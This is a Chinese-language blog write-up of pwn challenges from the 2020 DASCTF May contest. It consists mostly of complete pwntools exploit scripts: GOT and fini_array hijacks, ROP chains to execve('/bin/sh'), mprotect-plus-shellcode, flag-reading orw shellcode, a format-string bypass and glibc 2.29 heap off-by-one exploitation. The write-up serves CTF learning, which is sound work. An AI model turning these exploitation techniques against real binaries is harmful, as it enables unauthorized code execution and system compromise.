2020 DASCTF五月赛

感谢师傅们出的题目,收获满满……* - *

Memory Monster I

题解

任意地址写,故意栈溢出覆盖canary然后会调用__stack_chk_fail函数,

修改__stack_chk_fail的got表为后门即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
#p = remote('183.129.189.60',10081)
p = process('./Memory_Monster_I')
elf = ELF('./Memory_Monster_I')

fail = elf.got['__stack_chk_fail']
sh_addr = 0x40124a

payload1 = p64(fail)+'a'*0x30
payload2 = p64(sh_addr)

p.recvuntil("addr:")
p.send(payload1)

p.recvuntil("data:")
p.send(payload2)

p.interactive()

Memory Monster II

分析

这题是一道静态编译的题目,存在一次任意地址写数据。

题解

方法一

在IDA里面能看到有“/bin/sh”的存在,第一想法是找个合适的one_gadget

将fini_array劫持为one_gadget。(找了好久)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
context(log_level="debug")
#p = remote('183.129.189.60',10100)
p = process('./Memory_Monster_II')
elf = ELF('./Memory_Monster_II')

fini_array = 0x4b80b0
exec_addr = 0x46f37f

pay1 = p64(fini_array)

p.recvuntil("addr:")
p.send(pay1)

p.recvuntil("data:")
p.send(p64(exec_addr))

p.interactive()

方法二

有一点需要注意的是.fini.array数组里保存的函数是逆序执行的,也就是说会先执行.fini.array[1]再执行.fini.array[0]。我们可以将.fini.array[1]的值改为main函数的地址,将.fini.array[0]改成调用控制.fini.array的函数__libc_csu_fini,这样执行完main之后就执行又继续执行调用main函数的函数。这样就可以形成循环一直任意地址覆盖写。

1
2
fini_array[0]:__libc_csu_fini
fini_array[1]:main函数地址

调试时候我们可以发现,在rbp指向fini_array[0]+0x10,故我们可以使用栈迁移,在fini_array[0]+0x8之后的位置布置为rop链,实现rop链攻击。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*

p = process('./Memory_Monster_II')
elf = ELF('./Memory_Monster_II')

def getput(put,out):
p.recvuntil("addr:")
p.send(put)
p.recvuntil("data:")
p.send(out)

__libc_csu_fini = 0x402CB0
fini_array = 0x4B80B0
esp = fini_array + 0x10
main_addr = 0x401C1D
start_addr = 0x401B00
syscall_addr = 0x402514
rdi_pop = 0x401746
rsi_pop = 0x406f80
rdx_pop = 0x448415
rax_pop = 0x448fcc
leave_ret = 0x401cf3
ret_addr = 0x401016
bin_sh_addr = 0x492895

pay1 = p64(fini_array)
pay2 = p64(__libc_csu_fini) + p64(main_addr)
getput(pay1,pay2)

pay1 = p64(esp)
pay2 = p64(rax_pop)
getput(pay1,pay2)

pay1 = p64(esp+8)
pay2 = p64(0x3b)
getput(pay1,pay2)

pay1 = p64(esp+16)
pay2 = p64(rdi_pop)
getput(pay1,pay2)

pay1 = p64(esp+24)
pay2 = p64(bin_sh_addr)
getput(pay1,pay2)

pay1 = p64(esp+32)
pay2 = p64(rdx_pop)
getput(pay1,pay2)

pay1 = p64(esp+40)
pay2 = p64(0)
getput(pay1,pay2)

pay1 = p64(esp+48)
pay2 = p64(rsi_pop)
getput(pay1,pay2)

pay1 = p64(esp+56)
pay2 = p64(0)
getput(pay1,pay2)

pay1 = p64(esp+64)
pay2 = p64(syscall_addr)
getput(pay1,pay2)

'''
ropchain = [p64(rdi_pop),p64(bin_sh_addr),
p64(rax_pop),p64(0x3b),
p64(rdx_pop),p64(0),
p64(rsi_pop),p64(0),
p64(syscall_addr)]

for i in range(len(ropchain)):
pay1 = p64(fini_array+0x10+i*8)
pay2 = ropchain[i]
getput(pay1,pay2)
'''
pay1 = p64(fini_array)
pay2 = p64(leave_ret) + p64(ret_addr)
getput(pay1,pay2)

p.interactive()

Memory Monster III

分析

这题与Memory Monster II 类似,只是少了合适的one_gadget。

通过利用fini_array部署并启动ROP攻击

解题

方法一

方法与Memory Monster II 的解法一样,在这不多阐述。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*

p = process('./Memory_Monster_III')
elf = ELF('./Memory_Monster_III')

def getput(put,out):
p.recvuntil("addr:")
p.send(put)
p.recvuntil("data:")
p.send(out)

__libc_csu_fini = 0x402ca0
_fini_array_0 = 0x4b50b0
esp = _fini_array_0 + 0x10
main_addr = 0x401C1D
syscall_addr = 0x402504

rdi_pop = 0x401746
rsi_pop = 0x406f70
rdx_pop = 0x447635
rax_addr = 0x44806c
leave_ret = 0x401cf3
ret_addr = 0x401016
bin_sh_addr = 0x4ba610

pay1 = p64(_fini_array_0)
pay2 = p64(__libc_csu_fini) + p64(main_addr)
getput(pay1,pay2)

pay1 = p64(bin_sh_addr)
pay2 = "/bin/sh\x00"
getput(pay1,pay2)

pay1 = p64(esp)
pay2 = p64(rax_addr)
getput(pay1,pay2)

pay1 = p64(esp+8)
pay2 = p64(0x3b)
getput(pay1,pay2)

pay1 = p64(esp+16)
pay2 = p64(rdi_pop)
getput(pay1,pay2)

pay1 = p64(esp+24)
pay2 = p64(bin_sh_addr)
getput(pay1,pay2)

pay1 = p64(esp+32)
pay2 = p64(rdx_pop)
getput(pay1,pay2)

pay1 = p64(esp+40)
pay2 = p64(0)
getput(pay1,pay2)

pay1 = p64(esp+48)
pay2 = p64(rsi_pop)
getput(pay1,pay2)

pay1 = p64(esp+56)
pay2 = p64(0)
getput(pay1,pay2)

pay1 = p64(esp+64)
pay2 = p64(syscall_addr)
getput(pay1,pay2)

pay1 = p64(_fini_array_0)
pay2 = p64(leave_ret) + p64(ret_addr)
getput(pay1,pay2)

p.interactive()

方法二

调用用mportect修改内存段的权限,写入shellcode
int mprotect(void addr, size_t len, int prot);
mprotect(shell_addr-0x100, 0x1000, 7)
argu1 为mprotect函数的第一个参数 (被修改内存的地址) (找一块可读可写的bss)
argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x1000通过程序启动时查看该内存块的大小的到的) 当然设大一点就好了 :)
argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import*

p = process('./Memory_Monster_III')
elf = ELF('./Memory_Monster_III')

def rewrite(addr, data):
p.sendafter('addr:', p64(addr))
p.sendafter('data:', data)

libc_csu_fini = 0x402CA0
fini_array = 0x4B50B0
main = 0x401C1D
pop_rdi = 0x0000000000401746 # pop rdi ; ret
pop_rsi = 0x0000000000406f70 # pop rsi ; ret
pop_rdx = 0x0000000000447635 # pop rdx ; ret

pop_rdx_si = 0x000000000044ab09 # pop rdx ; pop rsi ; ret
pop_rax = 0x000000000044806c # pop rax ; ret
leave_ret = 0x0000000000401cf3 # leave ; ret
ret = 0x0000000000401016 # ret
syscall = 0x402504
binsh = 0x4BA610

read = 0x447620
mprotect = 0x448420

shell_addr = 0x004b5000+0x800
sh = asm(shellcraft.sh())

p1 = p64(libc_csu_fini) + p64(main)
rewrite(fini_array, p1)

p2_0 = p64(pop_rdi) + p64(0) + p64(pop_rdx_si)
p2_1 = p64(0x200) + p64(shell_addr) + p64(read)
p2_2 = p64(pop_rdi) + p64(shell_addr-0x800) + p64(pop_rdx_si)
p2_3 = p64(7) + p64(0x1000) + p64(mprotect)
p2_4 = p64(shell_addr)

rewrite(fini_array+0x10, p2_0)
rewrite(fini_array+0x10+0x18, p2_1)
rewrite(fini_array+0x10+0x18+0x18, p2_2)
rewrite(fini_array+0x10+0x18+0x18+0x18, p2_3)
rewrite(fini_array+0x10+0x18+0x18+0x18+0x18, p2_4)

p3 = p64(leave_ret) + p64(ret)
rewrite(fini_array, p3)

p.send(sh)

p.interactive()

盲打1 盲打2

分析

都是一个c语言解释器,可以利用orw输出flag。

都有不同的限制。

原理参考 师傅的对hello world的重新认识

解题

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import*
context(log_level='debug',arch="amd64",os="linux")

payload = asm('mov rax,0x2c2c2c2c2c2c')
payload += asm('mov rbx,0x4b4d404a034a')
payload += asm('xor rax, rbx')
payload += asm('push rax')
payload += asm('mov rax,0x2c2c2c35352c2c2c')
payload += asm('mov rbx,0x584f035058434403')
payload += asm('xor rax,rbx')
payload += asm('push rax')
payload += asm('mov rdi,rsp')
payload += asm('mov esi,0x0')
payload += asm('mov eax,0x2')
payload += asm('xor ecx,ecx')
payload += asm('syscall')
payload += asm('mov rdi,rax')
payload += asm('mov rsi,rsp')
payload += asm('mov rdx,0x50')
payload += asm('xor rax,rax')
payload += asm('syscall')
payload += asm('mov rdi,0x1')
payload += asm('mov rax,0x1')
payload += asm('syscall')
'''
payload=asm(
"""
mov rax,0x2c2c2c2c2c2c
mov rbx,0x4b4d404a034a
xor rax, rbx
push rax
mov rax,0x2c2c2c35352c2c2c
mov rbx,0x584f035058434403
xor rax,rbx
push rax
mov rdi,rsp
mov esi,0x0
mov eax,0x2
xor ecx,ecx
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x50
xor rax,rax
syscall
mov rdi,0x1
mov rax,0x1
syscall
"""
)
'''

print hex(ord(payload[0]))
shellcode = 'const char main=0x48,'
for i in range(1,len(payload)):
if i != len(payload)-1:
shellcode += 'w'+str(i)+'='+str(hex(ord(payload[i])))+','
else:
shellcode += 'w'+str(i)+'='+str(hex(ord(payload[i])))+';'

print shellcode

p = remote('183.129.189.60',10002)
p.recvuntil("(end with '@')")

p.sendline(shellcode+'@')

p.interactive()

secret2

分析

此题是2.30的libc

文件描述符最多有1024个,也就是说最多打开文件1024多次,就不能继续打开了,则随机值之后全是0,因此输入”\x00”字节就能通过memcmp检测,然后close(0),memcpy栈溢出, 只能orw flag了。

题解

通过memcpy栈溢出来实现orw。

主要利用了ret2csu 的gadget

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

#p = remote('183.129.189.60',10055)
p = process('./secret2')
elf = ELF('./secret2')

def cus_rop(gadget1,gadget2,func_got,rdi,rsi,rdx):
payload = p64(gadget1)
payload += p64(0) #rbx=0
payload += p64(1) #rbp=1
payload += p64(func_got) #r12 call
payload += p64(rdi) #r13 rdi read canshu
payload += p64(rsi) #r14 rsi
payload += p64(rdx) #r15 edx read size
payload += p64(gadget2)
payload += '\x00'*56 #tiao zheng zhan zhen
return payload

ret=0x401016
pop_rsi_r15=0x401619
bss=elf.bss()+0x500
pop_rdi = 0x40161b
mov3_call = 0x4015f8
pop6 = 0x401612
flag = 0x4021df
open_plt = elf.plt["open"]
read_got = elf.got['read']
write_plt = elf.plt["write"]

p.recvuntil("name? ________________ #")
sleep(0.1)

name = 'a'+p64(flag)
name += p64(pop_rdi)+p64(flag)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open_plt)
name += cus_rop(pop6,mov3_call,read_got,0,bss,64)
name += p64(pop_rdi)+p64(1)+p64(write_plt)
print hex(len(name))

p.send(name)
for i in range(1255):
print i
payload = "\x00"
p.recvuntil("Secret: _____ #")
p.send(payload)
if i == 1254:
sleep(0.1)
p.recv()
p.interactive()

happyending

分析

2.29的off by one的经典题目了。

参考链接

解题

这道题目就主要利用largebins的fd_next_size、bk_next_size及smallbins与fastbins的残留指针加以利用,

进而绕过2.29对于unlink的检测。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

#p = process('./pwn')
p = remote('183.129.189.60',10111)
elf = ELF('pwn')
libc = ELF("./libc.so.6")

o_g1 = [0xe6b93,0xe6b96,0xe6b99,0x10afa9]

def choice(idx):
p.sendlineafter(">\n",str(idx))

def add(size,payload):
choice(1)
p.sendlineafter(":\n",str(size))
p.sendafter("!\n",payload)

def show(idx):
choice(3)
p.sendlineafter(":\n",str(idx))

def free(idx):
choice(2)
p.sendlineafter(":\n",str(idx))

def exp():
for i in range(6):
add(0x1000,"aaaa")
for i in range(10):
add(0x28,"aaaa")#6
add(0xb60,"/bin/sh\x00")#16
add(0x480,"aaaa")#17
add(0xf8,"aaaa")#18
free(17)
add(0x500,"aaaa")#17
add(0x28,p64(0)+p64(0x481)+p8(0x40))#19
add(0x500,"aaaa")
add(0x28,p64(0)+p64(0x21)+p64(0)+p8(0x10))
add(0x28,"aaaa")#22
for i in range(7):
free(i+6)
free(22)
free(19)
for i in range(9):
add(0x28,p8(0x10))
add(0x68,"aaa")#23
add(0x388,"a"*0x380)#24
for i in range(7):
add(0xf8,"aaaa")
for i in range(7):
free(i+25)
free(24)
add(0x388,"a"*0x380+p64(0x480))
free(18)
add(0x70,"aaaa")
show(23)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-96-0x10-libc.sym["__malloc_hook"]
sys_addr = libc_base+libc.sym["system"]
free_hook = libc.sym["__free_hook"]+libc_base
malloc_hook = libc_base+libc.sym["__malloc_hook"]
one = o_g1[0]+libc_base
print "libc_base = "+hex(libc_base)
for i in range(11):
add(0x68,"aaaa")
for i in range(7):
free(i+26)
free(23)
free(35)
free(25)
for i in range(7):
add(0x68,"aaaa")
add(0x68,p64(free_hook))
add(0x68,p64(free_hook))
add(0x68,p64(free_hook))
add(0x68,p64(sys_addr))
free(16)
p.interactive()

while True:
p = remote('183.129.189.60',10111)
try:
exp()
except:
p.close()

easybabystack

分析

用cutter查看程序(IDA里面都是地址)

image-20200701202100741

fcn.0040143c存在字符串漏洞。image-20200701202409800

解题

需要利用格式化漏洞绕过fcn.0040143c里面的判断条件。

格式化字符串中 *$连用表示取对应偏移位置的值。

需要利用的相关gadget (不同的题目 位置可能变换)image-20200701214352185

方法一

利用system(“/bin/sh”) 来shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import*
#context.log_level ='DEBUG'
p= process('./easybabystack')
#p = remote('183.129.189.60',10001)
elf = ELF('./easybabystack')

p.sendlineafter('username:','%*18$d%5$n')
p.sendline('1')

pop_rdi_ret = 0x401733
pop_rsi_r15 = 0x401731
binsh =0x404090
system = 0x401110
read_got = elf.got['read']#0x404038
gadget_I = 0x40172A
gadget_II = 0x401710

def cus_rop(gadget1,gadget2,rdi,rsi,rdx,func_got):
payload = p64(gadget1)
payload += p64(0) #rbx=0
payload += p64(1) #rbp=1
payload += p64(rdi) #r12 edi
payload += p64(rsi) #r13 rsi
payload += p64(rdx) #r14 rdx
payload += p64(func_got) #r15 call
payload += p64(gadget2)
payload += '\x00'*56 #tiao zheng zhan zhen
return payload

'''
payload = 'a'*0x118
payload += p64(gadget_I)
payload += p64(0)
payload += p64(1)
payload += p64(0)
payload += p64(binsh)
payload += p64(8)
payload += p64(read_got)
payload += p64(gadget_II)
payload += p64(0)*7
payload += p64(pop_rdi_ret) + p64(binsh) + p64(system)
'''
payload = 'a'*0x118
payload += cus_rop(gadget_I,gadget_II,0,binsh,8,read_got)
payload += p64(pop_rdi_ret) + p64(binsh) + p64(system)

p.recvuntil('message: ')
p.sendline(payload)
sleep(0.1)
p.send('/bin/sh\x00')

p.interactive()

方法二

参考了nop师傅的wp。(本地没通过,记录一下思路)

  1. read一段orw的shellcode到bss上
  2. 调用mprotect修改bss为可执行段
  3. 跳到bss的shellcode上执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import*
#context.log_level ='DEBUG'
p= process('./easybabystack')
#p = remote('183.129.189.60',10001)
elf = ELF('./easybabystack')

system_plt = 0x0000000000401114
read_plt = 0x0000000000401140
read_got = 0x404038
open_plt = 0x401180
fprintf_got = 0x404040
mprotect_got = 0x404050

fst = 0x00000000004020AA

pop_rsp = 0x000000000040172d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rdi = 0x0000000000401733 # pop rdi ; ret
pop_rsi = 0x0000000000401731 # pop rsi ; pop r15 ; ret
gadget_1 = 0x0000000000401710
gadget_2 = 0x0000000000401726

p.sendlineafter('username:','%*18$d%5$n')
p.sendline('1')

payload = "A" * 0x118
payload += flat([gadget_2, 0, 0, 1, 0, elf.bss(0x600), 0x200, read_got])
payload += flat([gadget_1, 0, 0, 0, 0, 0, 0, 0])
payload += flat([pop_rsp, elf.bss(0x600)])
p.recv()
p.sendlineafter("message: ", payload)

payload = "A" * 0x118
payload += flat([gadget_2, 0, 0, 1, elf.bss(0) - 0xA0, 0x1000, 7, mprotect_got])
payload += flat([gadget_1, 0, 0, 0, 0, 0, 0, 0])
payload += flat([elf.bss(0x6A0)])

orw = shellcraft.open("flag")
orw += shellcraft.read(3, elf.bss(0x800), 0x50)
orw += shellcraft.write(1, elf.bss(0x800), 0x50)
payload += asm(orw)

p.send(payload)

p.interactive()
Reward
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • © 2015-2021 John Doe
  • Powered by Hexo Theme Ayer
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信